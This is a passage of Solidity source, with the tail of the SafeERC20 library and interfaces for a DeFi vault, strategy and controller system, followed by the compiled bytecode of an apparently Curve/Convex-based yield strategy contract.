(encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // solhint-disable func-name-mixedcase // solhint-disable var-name-mixedcase pragma solidity 0.6.12; interface IStableSwap3Pool { function get_virtual_price() external view returns (uint); function balances(uint) external view returns (uint); function coins(uint) external view returns (address); function get_dy(int128 i, int128 j, uint dx) external view returns (uint dy); function exchange(int128 i, int128 j, uint dx, uint min_dy) external; function add_liquidity(uint[3] calldata amounts, uint min_mint_amount) external; function remove_liquidity(uint _amount, uint[3] calldata amounts) external; function remove_liquidity_one_coin(uint _token_amount, int128 i, uint min_amount) external; function calc_token_amount(uint[3] calldata amounts, bool deposit) external view returns (uint); function calc_withdraw_one_coin(uint _token_amount, int128 i) external view returns (uint); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; interface ISwap { function swapExactTokensForTokens(uint256, uint256, address[] calldata, address, uint256) external; function getAmountsOut(uint256, address[] calldata) external view returns (uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IManager { function addVault(address) external; function allowedControllers(address) external view returns (bool); function allowedConverters(address) external view returns (bool); function allowedStrategies(address) external view returns (bool); function allowedVaults(address) external view returns (bool); function controllers(address) external view returns (address); function getHarvestFeeInfo() external view returns (address, address, uint256); function getToken(address) external view returns (address); function governance() external view returns (address); function halted() external view returns (bool); function harvester() external view returns (address); function insuranceFee() external view returns (uint256); function insurancePool() external view returns (address); function insurancePoolFee() external view returns (uint256); function pendingStrategist() external view returns (address); function removeVault(address) external; function stakingPool() external view returns (address); function stakingPoolShareFee() external view returns (uint256); function strategist() external view returns (address); function treasury() external view returns (address); function treasuryFee() external view returns (uint256); function withdrawalProtectionFee() external view returns (uint256); function yaxis() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IManager.sol"; import "./ISwap.sol"; interface IStrategy { function balanceOf() external view returns (uint256); function balanceOfPool() external view returns (uint256); function balanceOfWant() external view returns (uint256); function deposit() external; function harvest(uint256[] calldata) external; function manager() external view returns (IManager); function name() external view returns (string memory); function router() external view returns (ISwap); function skim() external; function want() external view returns (address); function weth() external view returns (address); function withdraw(address) external; function withdraw(uint256) external; function withdrawAll() external; } interface IStrategyExtended { function getEstimates() external view returns (uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IManager.sol"; interface IController { function balanceOf() external view returns (uint256); function converter(address _vault) external view returns (address); function earn(address _strategy, address _token, uint256 _amount) external; function investEnabled() external view returns (bool); function harvestStrategy(address _strategy, uint256[] calldata _estimates) external; function manager() external view returns (IManager); function strategies() external view returns (uint256); function withdraw(address _token, uint256 _amount) external; function withdrawAll(address _strategy, address _convert) external; }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80635f349a111161010f578063b6bff295116100a2578063ef9e237911610071578063ef9e237914610593578063f1068454146105c9578063f77c4791146105d1578063f887ea40146105d9576101e5565b8063b6bff29514610573578063c1a3d44c1461057b578063d0e30db014610583578063dd0081c71461058b576101e5565b8063722713f7116100de578063722713f714610528578063853828b614610530578063923c1d6114610538578063a128723a14610540576101e5565b80635f349a11146104f357806361c08ff614610510578063689538e7146105185780636a4874a114610520576101e5565b8063337da0fc1161018757806348677dbe1161015657806348677dbe146104175780634f64b2be1461044257806351cff8d91461045f5780635d14b06f14610485576101e5565b8063337da0fc146103e25780633fc8cef3146103ff5780634362c0d114610407578063481c6a751461040f576101e5565b80631dd19cb4116101c35780631dd19cb4146102d95780631f1fcd51146102e35780632d16c4e3146103075780632e1a7d4d146103c5576101e5565b806306fdde03146101ea5780631158808614610267578063185881ec14610281575b600080fd5b6101f26105e1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022c578181015183820152602001610214565b50505050905090810190601f1680156102595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61026f61066f565b60408051918252519081900360200190f35b61028961070f565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102c55781810151838201526020016102ad565b505050509050019250505060405180910390f35b6102e1611be9565b005b6102eb611cb3565b604080516001600160a01b039092168252519081900360200190f35b6102e16004803603604081101561031d57600080fd5b810190602081018135600160201b81111561033757600080fd5b82018360208201111561034957600080fd5b803590602001918460208302840111600160201b8311171561036a57600080fd5b919390929091602081019035600160201b81111561038757600080fd5b82018360208201111561039957600080fd5b803590602001918460208302840111600160201b831117156103ba57600080fd5b509092509050611cd7565b6102e1600480360360208110156103db57600080fd5b5035611efd565b6102e1600480360360208110156103f857600080fd5b5035611ff5565b6102eb6120ff565b6102eb612123565b6102eb612147565b61041f61216b565b604080516001600160a01b03909316835260208301919091528051918290030190f35b6102eb6004803603602081101561045857600080fd5b50356124bc565b6102e16004803603602081101561047557600080fd5b50356001600160a01b03166124e3565b6102e16004803603602081101561049b57600080fd5b810190602081018135600160201b8111156104b557600080fd5b8201836020820111156104c757600080fd5b803590602001918460208302840111600160201b831117156104e857600080fd5b509092509050612670565b6102eb6004803603602081101561050957600080fd5b50356126e5565b6102eb6126f2565b6102eb612716565b6102eb61273a565b61026f61275e565b6102e161277e565b6102eb6128e5565b61055d6004803603602081101561055657600080fd5b5035612909565b6040805160ff9092168252519081900360200190f35b6102eb61293a565b61026f61295e565b6102e16129cd565b61026f612a40565b6102e1600480360360608110156105a957600080fd5b506001600160a01b03813581169160208101359091169060400135612a46565b61026f612b3e565b6102eb612b62565b6102eb612b86565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106675780601f1061063c57610100808354040283529160200191610667565b820191906000526020600020905b81548152906001019060200180831161064a57829003601f168201915b505050505081565b60007f000000000000000000000000d37969740d78c94c648d74671b8be31ef43c30ab6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156106de57600080fd5b505afa1580156106f2573d6000803e3d6000fd5b505050506040513d602081101561070857600080fd5b5051905090565b606060007f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa36025486001600160a01b031663d55a23f46040518163ffffffff1660e01b815260040160206040518083038186803b15801561076c57600080fd5b505afa158015610780573d6000803e3d6000fd5b505050506040513d602081101561079657600080fd5b5051905060606107a7826005612cc1565b67ffffffffffffffff811180156107bd57600080fd5b506040519080825280602002602001820160405280156107e7578160200160208202803683370190505b506040805160028082526060808301845293945090916020830190803683370190505090506060600061090f7f000000000000000000000000ab72cc293b63f6477baf9d514da735cf6caadc2d6001600160a01b0316634bdaeac16040518163ffffffff1660e01b815260040160206040518083038186803b15801561086c57600080fd5b505afa158015610880573d6000803e3d6000fd5b505050506040513d602081101561089657600080fd5b505160408051633e032a3b60e01b815290516001600160a01b0390921691633e032a3b91600480820192602092909190829003018186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b505161271090612d24565b905060007f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b8460008151811061094157fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28460018151811061098f57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050600260009054906101000a90046001600160a01b03166001600160a01b031663d06ca61f610cad7f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b6001600160a01b0316631f96e76f6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b50516040805163553a731160e11b81529051610ca791610c1191610b86916001600160a01b037f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b169163aa74e62291600480820192602092909190829003018186803b158015610ac857600080fd5b505afa158015610adc573d6000803e3d6000fd5b505050506040513d6020811015610af257600080fd5b50516040805163d5abeb0160e01b815290516001600160a01b037f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b169163d5abeb01916004808301926020929190829003018186803b158015610b5457600080fd5b505afa158015610b68573d6000803e3d6000fd5b505050506040513d6020811015610b7e57600080fd5b505190612d66565b7f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b6001600160a01b0316631f96e76f6040518163ffffffff1660e01b815260040160206040518083038186803b158015610bdf57600080fd5b505afa158015610bf3573d6000803e3d6000fd5b505050506040513d6020811015610c0957600080fd5b505190612d24565b604080516246613160e11b815230600482015290516001600160a01b037f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa36025481691628cc262916024808301926020929190829003018186803b158015610c7557600080fd5b505afa158015610c89573d6000803e3d6000fd5b505050506040513d6020811015610c9f57600080fd5b505190612da8565b90612d66565b866040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015610d03578181015183820152602001610ceb565b50505050905001935050505060006040518083038186803b158015610d2757600080fd5b505afa158015610d3b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610d6457600080fd5b8101908080516040519392919084600160201b821115610d8357600080fd5b908301906020820185811115610d9857600080fd5b82518660208202830111600160201b82111715610db457600080fd5b82525081516020918201928201910280838360005b83811015610de1578181015183820152602001610dc9565b505050509050016040525050509250610e1d612710610ca78486600181518110610e0757fe5b6020026020010151612da890919063ffffffff16565b85600081518110610e2a57fe5b60200260200101818152505084600081518110610e4357fe5b602090810291909101015101851561127e5760005b8681101561127c577f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa36025486001600160a01b03166340c35446826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610ec457600080fd5b505afa158015610ed8573d6000803e3d6000fd5b505050506040513d6020811015610eee57600080fd5b50516040805163f7c618c160e01b815290516001600160a01b039092169163f7c618c191600480820192602092909190829003018186803b158015610f3257600080fd5b505afa158015610f46573d6000803e3d6000fd5b505050506040513d6020811015610f5c57600080fd5b505185518690600090610f6b57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc285600181518110610fb957fe5b6001600160a01b0392831660209182029290920181019190915260025460408051632061aa2360e11b81526004810186905290519184169363d06ca61f937f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa3602548909116926340c35446926024808201939291829003018186803b15801561103e57600080fd5b505afa158015611052573d6000803e3d6000fd5b505050506040513d602081101561106857600080fd5b5051604080516246613160e11b815230600482015290516001600160a01b0390921691628cc26291602480820192602092909190829003018186803b1580156110b057600080fd5b505afa1580156110c4573d6000803e3d6000fd5b505050506040513d60208110156110da57600080fd5b5051604080516001600160e01b031960e085901b16815260048101838152602482019283528a5160448301528a518b939192606401906020858101910280838360005b8381101561113557818101518382015260200161111d565b50505050905001935050505060006040518083038186803b15801561115957600080fd5b505afa15801561116d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561119657600080fd5b8101908080516040519392919084600160201b8211156111b557600080fd5b9083019060208201858111156111ca57600080fd5b82518660208202830111600160201b821117156111e657600080fd5b82525081516020918201928201910280838360005b838110156112135781810151838201526020016111fb565b505050509050016040525050509350611239612710610ca78587600181518110610e0757fe5b86826001018151811061124857fe5b60200260200101818152505085816001018151811061126357fe5b6020026020010151820191508080600101915050610e58565b505b7f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52846000815181106112ac57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2846001815181106112fa57fe5b6001600160a01b03928316602091820292909201810191909152600254604080516246613160e11b815230600482015290519184169363d06ca61f937f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa360254890911692628cc262926024808201939291829003018186803b15801561137c57600080fd5b505afa158015611390573d6000803e3d6000fd5b505050506040513d60208110156113a657600080fd5b5051604080516001600160e01b031960e085901b16815260048101838152602482019283528951604483015289518a939192606401906020858101910280838360005b838110156114015781810151838201526020016113e9565b50505050905001935050505060006040518083038186803b15801561142557600080fd5b505afa158015611439573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561146257600080fd5b8101908080516040519392919084600160201b82111561148157600080fd5b90830190602082018581111561149657600080fd5b82518660208202830111600160201b821117156114b257600080fd5b82525081516020918201928201910280838360005b838110156114df5781810151838201526020016114c7565b505050509050016040525050509250611505612710610ca78486600181518110610e0757fe5b85876001018151811061151457fe5b60200260200101818152505084866001018151811061152f57fe5b6020026020010151810190507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28460008151811061156957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000ab72cc293b63f6477baf9d514da735cf6caadc2d6001600160a01b0316633f021b0e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115e257600080fd5b505afa1580156115f6573d6000803e3d6000fd5b505050506040513d602081101561160c57600080fd5b505184518590600190811061161d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506001808154811061164a57fe5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b031663d06ca61f61170b612710610ca77f000000000000000000000000ab72cc293b63f6477baf9d514da735cf6caadc2d6001600160a01b031663cc32d1766040518163ffffffff1660e01b815260040160206040518083038186803b1580156116d857600080fd5b505afa1580156116ec573d6000803e3d6000fd5b505050506040513d602081101561170257600080fd5b50518690612da8565b866040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015611761578181015183820152602001611749565b50505050905001935050505060006040518083038186803b15801561178557600080fd5b505afa158015611799573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156117c257600080fd5b8101908080516040519392919084600160201b8211156117e157600080fd5b9083019060208201858111156117f657600080fd5b82518660208202830111600160201b8211171561181257600080fd5b82525081516020918201928201910280838360005b8381101561183f578181015183820152602001611827565b505050509050016040525050509250611865612710610ca78486600181518110610e0757fe5b85876002018151811061187457fe5b602002602001018181525050600061188a61216b565b5090507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2856000815181106118bb57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505080856001815181106118e957fe5b6001600160a01b039283166020918202929092010152600254855191169063d06ca61f90869060009061191857fe5b60200260200101518403876040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015611978578181015183820152602001611960565b50505050905001935050505060006040518083038186803b15801561199c57600080fd5b505afa1580156119b0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156119d957600080fd5b8101908080516040519392919084600160201b8211156119f857600080fd5b908301906020820185811115611a0d57600080fd5b82518660208202830111600160201b82111715611a2957600080fd5b82525081516020918201928201910280838360005b83811015611a56578181015183820152602001611a3e565b505050509050016040525050509350611a7c612710610ca78587600181518110610e0757fe5b868860030181518110611a8b57fe5b602002602001018181525050611bc37f000000000000000000000000f178c0b5bb7e7abf4e12a4838c7b7c5ba2c623c06001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b158015611af357600080fd5b505afa158015611b07573d6000803e3d6000fd5b505050506040513d6020811015611b1d57600080fd5b50516040805163313ce56760e01b81529051610ca7916001600160a01b0386169163313ce56791600480820192602092909190829003018186803b158015611b6457600080fd5b505afa158015611b78573d6000803e3d6000fd5b505050506040513d6020811015611b8e57600080fd5b5051875160129190910360ff908116600a0a1690611bbd9061271090610ca7908a908c906001908110610e0757fe5b90612da8565b868860040181518110611bd257fe5b602090810291909101015250939550505050505090565b336001600160a01b037f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac601614611c54576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b611cb17f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac60611c8061295e565b6001600160a01b037f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a169190612e01565b565b7f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a81565b7f000000000000000000000000ab72cc293b63f6477baf9d514da735cf6caadc2d6001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b158015611d3057600080fd5b505afa158015611d44573d6000803e3d6000fd5b505050506040513d6020811015611d5a57600080fd5b50516001600160a01b03163314611da6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b611db260018585614423565b5083836000818110611dc057fe5b6002805460209290920293909301356001600160a01b03166001600160a01b0319909116179091555060008382825b82811015611ef357878782818110611e0357fe5b905060200201356001600160a01b03169350611e548460007f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316612b959092919063ffffffff16565b611e8a6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21685600019612b95565b60005b82811015611eea57611ecf856000898985818110611ea757fe5b905060200201356001600160a01b03166001600160a01b0316612b959092919063ffffffff16565b611ee285600019898985818110611ea757fe5b600101611e8d565b50600101611def565b5050505050505050565b336001600160a01b037f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac601614611f68576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b6000611f7261295e565b905081811015611f9d57611f8e611f898383612d24565b612e53565b9150611f9a8282612cc1565b91505b611ff16001600160a01b037f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a167f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac6084612e01565b5050565b7f000000000000000000000000ab72cc293b63f6477baf9d514da735cf6caadc2d6001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561204e57600080fd5b505afa158015612062573d6000803e3d6000fd5b505050506040513d602081101561207857600080fd5b50516001600160a01b031633146120c4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600181815481106120d157fe5b600091825260209091200154600280546001600160a01b0319166001600160a01b0390921691909117905550565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f000000000000000000000000f178c0b5bb7e7abf4e12a4838c7b7c5ba2c623c081565b7f000000000000000000000000ab72cc293b63f6477baf9d514da735cf6caadc2d81565b600080600061220f600460008154811061218157fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff16600a0a60ff167f000000000000000000000000f178c0b5bb7e7abf4e12a4838c7b7c5ba2c623c06001600160a01b0316634903b0d160006040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610c7557600080fd5b905060006122ae600460018154811061222457fe5b6000918252602091829020828204015460408051634903b0d160e01b815260016004820152905160ff601f9094166101000a9092048316600a0a909216926001600160a01b037f000000000000000000000000f178c0b5bb7e7abf4e12a4838c7b7c5ba2c623c01692634903b0d19260248083019392829003018186803b158015610c7557600080fd5b6003549091506002141561232357808211156122f55760036001815481106122d257fe5b6000918252602090912001546001600160a01b03169350600192506124b8915050565b600360008154811061230357fe5b60009182526020822001546001600160a01b0316945092506124b8915050565b60006123c0600460028154811061233657fe5b6000918252602091829020828204015460408051634903b0d160e01b815260026004820152905160ff601f9094166101000a9092048316600a0a909216926001600160a01b037f000000000000000000000000f178c0b5bb7e7abf4e12a4838c7b7c5ba2c623c01692634903b0d19260248083019392829003018186803b158015610c7557600080fd5b905081831080156123d057508083105b156124045760036000815481106123e357fe5b60009182526020822001546001600160a01b0316955093506124b892505050565b828210801561241257508082105b1561244957600360018154811061242557fe5b6000918252602090912001546001600160a01b03169450600193506124b892505050565b828110801561245757508181105b1561248e57600360028154811061246a57fe5b6000918252602090912001546001600160a01b03169450600293506124b892505050565b600360008154811061249c57fe5b60009182526020822001546001600160a01b0316955093505050505b9091565b600381815481106124c957fe5b6000918252602090912001546001600160a01b0316905081565b336001600160a01b037f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac60161461254e576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b806001600160a01b03167f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a6001600160a01b031614156125be576040805162461bcd60e51b815260206004808301919091526024820152631dd85b9d60e21b604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905182916000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561260957600080fd5b505afa15801561261d573d6000803e3d6000fd5b505050506040513d602081101561263357600080fd5b5051905061266b6001600160a01b0383167f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac6083612e01565b505050565b336001600160a01b037f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac6016146126db576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b611ff18282612fa9565b600181815481106124c957fe5b7f000000000000000000000000d37969740d78c94c648d74671b8be31ef43c30ab81565b7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae3181565b7f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5281565b600061277961276b61066f565b61277361295e565b90612cc1565b905090565b336001600160a01b037f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac6016146127e9576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b6127f16133e9565b60007f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561286057600080fd5b505afa158015612874573d6000803e3d6000fd5b505050506040513d602081101561288a57600080fd5b505190506128e26001600160a01b037f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a167f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac6083612e01565b50565b7f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b81565b6004818154811061291657fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b7f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa360254881565b60007f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156106de57600080fd5b336001600160a01b037f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac601614612a38576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b611cb1613499565b61271081565b7f000000000000000000000000ab72cc293b63f6477baf9d514da735cf6caadc2d6001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b158015612a9f57600080fd5b505afa158015612ab3573d6000803e3d6000fd5b505050506040513d6020811015612ac957600080fd5b50516001600160a01b03163314612b15576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b612b2a6001600160a01b038416836000612b95565b61266b6001600160a01b0384168383612b95565b7f000000000000000000000000000000000000000000000000000000000000001e81565b7f000000000000000000000000834ebce3b3fb5b9647d9398a1f6f44a2e831ac6081565b6002546001600160a01b031681565b801580612c1b575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015612bed57600080fd5b505afa158015612c01573d6000803e3d6000fd5b505050506040513d6020811015612c1757600080fd5b5051155b612c565760405162461bcd60e51b81526004018080602001828103825260368152602001806145536036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261266b908490613528565b6060612cb784846000856135d9565b90505b9392505050565b600082820183811015612d1b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b6000612d1b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613735565b6000612d1b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506137cc565b600082612db757506000612d1e565b82820282848281612dc457fe5b0414612d1b5760405162461bcd60e51b81526004018080602001828103825260218152602001806145086021913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261266b908490613528565b6000807f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612ec357600080fd5b505afa158015612ed7573d6000803e3d6000fd5b505050506040513d6020811015612eed57600080fd5b50519050612efa83613831565b60007f000000000000000000000000cee60cfa923170e4f8204ae08b4fa6a3f5656f3a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612f6957600080fd5b505afa158015612f7d573d6000803e3d6000fd5b505050506040513d6020811015612f9357600080fd5b50519050612fa18183612d24565b949350505050565b612fb16138e9565b60007f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561302057600080fd5b505afa158015613034573d6000803e3d6000fd5b505050506040513d602081101561304a57600080fd5b5051905080156130b3576130b37f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc283868660008181106130a757fe5b90506020020135613958565b60007f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa36025486001600160a01b031663d55a23f46040518163ffffffff1660e01b815260040160206040518083038186803b15801561310e57600080fd5b505afa158015613122573d6000803e3d6000fd5b505050506040513d602081101561313857600080fd5b5051905060005b818110156133065760007f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa36025486001600160a01b03166340c35446836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156131ad57600080fd5b505afa1580156131c1573d6000803e3d6000fd5b505050506040513d60208110156131d757600080fd5b50516040805163f7c618c160e01b815290516001600160a01b039092169163f7c618c191600480820192602092909190829003018186803b15801561321b57600080fd5b505afa15801561322f573d6000803e3d6000fd5b505050506040513d602081101561324557600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561329357600080fd5b505afa1580156132a7573d6000803e3d6000fd5b505050506040513d60208110156132bd57600080fd5b5051905080156132fc576132fc827f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2838a8a886001018181106130a757fe5b505060010161313f565b5060006133607f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5286868560010181811061333c57fe5b9050602002013587878660020181811061335257fe5b905060200201356001613a97565b905080156133e257600061337261216b565b5090506133aa7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc282848989886003018181106130a757fe5b6133c88686856004018181106133bc57fe5b90506020020135613e06565b60006133d261295e565b11156133e0576133e0613499565b505b5050505050565b7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b031663958e2d317f000000000000000000000000000000000000000000000000000000000000001e6040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561346f57600080fd5b505af1158015613483573d6000803e3d6000fd5b505050506040513d6020811015611ff157600080fd5b6040805163303acfe760e11b81527f000000000000000000000000000000000000000000000000000000000000001e60048201526001602482015290516001600160a01b037f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae3116916360759fce9160448083019260209291908290030181600087803b15801561346f57600080fd5b606061357d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612ca89092919063ffffffff16565b80519091501561266b5780806020019051602081101561359c57600080fd5b505161266b5760405162461bcd60e51b815260040180806020018281038252602a815260200180614529602a913960400191505060405180910390fd5b60608247101561361a5760405162461bcd60e51b81526004018080602001828103825260268152602001806144e26026913960400191505060405180910390fd5b6136238561423f565b613674576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106136b35780518252601f199092019160209182019101613694565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613715576040519150601f19603f3d011682016040523d82523d6000602084013e61371a565b606091505b509150915061372a828286614245565b979650505050505050565b600081848411156137c45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613789578181015183820152602001613771565b50505050905090810190601f1680156137b65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361381b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613789578181015183820152602001613771565b50600083858161382757fe5b0495945050505050565b7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b031663441a3e707f000000000000000000000000000000000000000000000000000000000000001e836040518363ffffffff1660e01b81526004018083815260200182815260200192505050602060405180830381600087803b1580156138bf57600080fd5b505af11580156138d3573d6000803e3d6000fd5b505050506040513d602081101561266b57600080fd5b60408051637050ccd960e01b81523060048201526001602482015290516001600160a01b037f0000000000000000000000009700152175dc22e7d1f3245fe3c1d2cfa36025481691637050ccd99160448083019260209291908290030181600087803b15801561346f57600080fd5b6040805160028082526060808301845292